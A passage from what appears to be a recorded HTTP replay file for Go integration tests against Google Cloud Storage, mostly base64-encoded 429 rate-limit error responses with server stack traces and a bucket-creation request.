6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVRPT19NQU5ZX1JFUVVFU1RTLCBjYXRlZ29yeT1RVU9UQV9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPXVzYWdlTGltaXRzLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9dG9vTWFueVJlcXVlc3RzLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWNsb3VkLmJpZ3N0b3JlLmFwaS5CaWdzdG9yZUVycm9yRG9tYWluLkNMSUVOVF9RVU9UQV9FWENFRURFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlBST0pFQ1RfQlVDS0VUX09QX1JBVEVfVE9PX0hJR0g6IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YToxODQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjQyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmluc2VydChCdWNrZXRzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1DTElFTlRfUVVPVEFfRVhDRUVERUQsIGVycm9yUHJvdG9Eb21haW49Y2xvdWQuYmlnc3RvcmUuYXBpLkJpZ3N0b3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2UuYnVja2V0Lm5hbWUsIG1lc3NhZ2U9VGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZS5idWNrZXQubmFtZSwgbWVzc2FnZT1UaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuLCByZWFzb249cmF0ZUxpbWl0RXhjZWVkZWQsIHJwY0NvZGU9NDI5fSBUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UFJPSkVDVF9CVUNLRVRfT1BfUkFURV9UT09fSElHSDogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjE4NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6NDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IuaW5zZXJ0KEJ1Y2tldHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MjksIm1lc3NhZ2UiOiJUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuIn19" - } - }, - { - "ID": "4f0fdb3eb607f33b", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "106" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE4IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjkwMDAwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 429, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12201" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:11 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up0EsbUXQesAgz95sFt6OzWRDj5WAXqEpYaqHgGvCClYnBGvjX8eQmor80UQOCIDzT6v9ZAtOPVhFIqkJG6rV0-CDXiLAnr4gwDrPkqgezvm8PQTaY" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6InVzYWdlTGltaXRzIiwicmVhc29uIjoicmF0ZUxpbWl0RXhjZWVkZWQiLCJtZXNzYWdlIjoiVGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29